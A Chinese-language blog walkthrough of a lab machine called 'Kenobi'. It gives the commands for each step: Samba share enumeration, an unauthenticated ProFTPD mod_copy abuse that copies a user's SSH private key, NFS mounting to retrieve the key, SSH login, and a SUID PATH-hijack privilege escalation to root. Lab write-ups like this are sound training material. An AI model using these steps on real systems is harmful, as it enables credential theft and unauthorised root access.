SugarCrash!

记录学习,想找个师傅带带我

0%

Kenobi

演练利用 Linux 机器。枚举 Samba 以获取共享,操作易受攻击的 proftpd 版本,并通过路径变量操作提升您的权限。

Samba

Samba 是适用于 Linux 和 Unix 的标准 Windows 互操作性程序套件。它允许最终用户访问和使用公司 Intranet 或 Internet 上的文件、打印机和其他常用共享资源。它通常被称为网络文件系统。
SMB 有两个端口,445139
Nmap 枚举共享

1
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse MACHINE_IP

枚举了三个共享
![[Pasted image 20220515125137.png]]
一般利用的是anonymous,密码为空
 smbclient连接

1
2
smbclient //<ip>/anonymous            连接
smbget -R smb://<ip>/anonymous 获取共享的文件

![[Pasted image 20220515125309.png]]
找到了一个log.txt

  • 为用户生成 SSH 密钥时为 Kenobi 生成的信息
  • 有关 ProFTPD 服务器的信息。
    之前的 nmap 端口扫描将显示端口 111 正在运行服务 rpcbind
    这只是一个将远程过程调用(RPC)程序号转换为通用地址的服务器。当一个 RPC 服务启动时,它告诉 rpcbind 它正在监听的地址和它准备服务的 RPC 程序号。
    ![[Pasted image 20220515130109.png]]
    用ProFtpd获取访问权限
    ProFtpd 是一个免费的开源 FTP 服务器,兼容 Unix 和 Windows 系统。它在过去的软件版本中也很容易受到攻击。
    获取ProFtpd版本
    1
    2
    nc 10.10.49.38 21

    ![[Pasted image 20220515130319.png]]
    Searchsploit查找存在的漏洞
    Searchsploit 基本上只是exploit-db.com 的命令行搜索工具
    1
    searchsploit proftpd 1.3.5
    ![[Pasted image 20220515130505.png]]
    mod_copy模块有两个rce
    mod_copy 模块实现SITE CPFRSITE CPTO命令,可用于将文件/目录从服务器上的一个位置复制到另一个位置。
    任何未经身份验证的客户端都可以利用这些命令将文件从 文件系统的任何部分复制到选定的目标。
    1
    2
    3
    nc 10.10.49.38
    SITE CPFR /home/kenobi/.ssh/id_rsa
    SITE CPTO /var/tmp/id_rsa
    ![[Pasted image 20220515131040.png]]
    在前面我们知道了/var目录是我们可以挂载的,现在将Kenobi的私钥移动到/var/tmp目录下
    1
    2
    3
    mkdir /mnt/kenobiNFS  
    mount machine_ip:/var /mnt/kenobiNFS
    ls -la /mnt/kenobiNFS
    ![[Pasted image 20220515131358.png]]
    现在我们可以去/var/tmp获取私钥然后登录kenobi账户
    1
    2
    3
    cp /mnt/kenobiNFS/tmp/id_rsa .
    chmod 600 id_rsa
    ssh -i id_rsa kenobi@10.10.49.38
    ![[Pasted image 20220515131727.png]]
    提权
    使用路径变量操作提升权限
    1
    find / -perm -u=s -type f 2>/dev/null
    /usr/bin/menu
    1
    2
    3
    4
    echo /bin/sh > curl
    chmod 777 curl
    export PATH=/tmp:$PATH
    /usr/bin/menu
    ![[Pasted image 20220515133548.png]]
    我们复制了 /bin/sh shell,将其命名为 curl,赋予它正确的权限,然后将其位置放在我们的路径中。这意味着当 /usr/bin/menu 二进制文件运行时,它使用我们的路径变量来查找“curl”二进制文件。它实际上是 /usr/sh 的一个版本,以及这个文件以 root 身份运行以root身份运行我们的shell!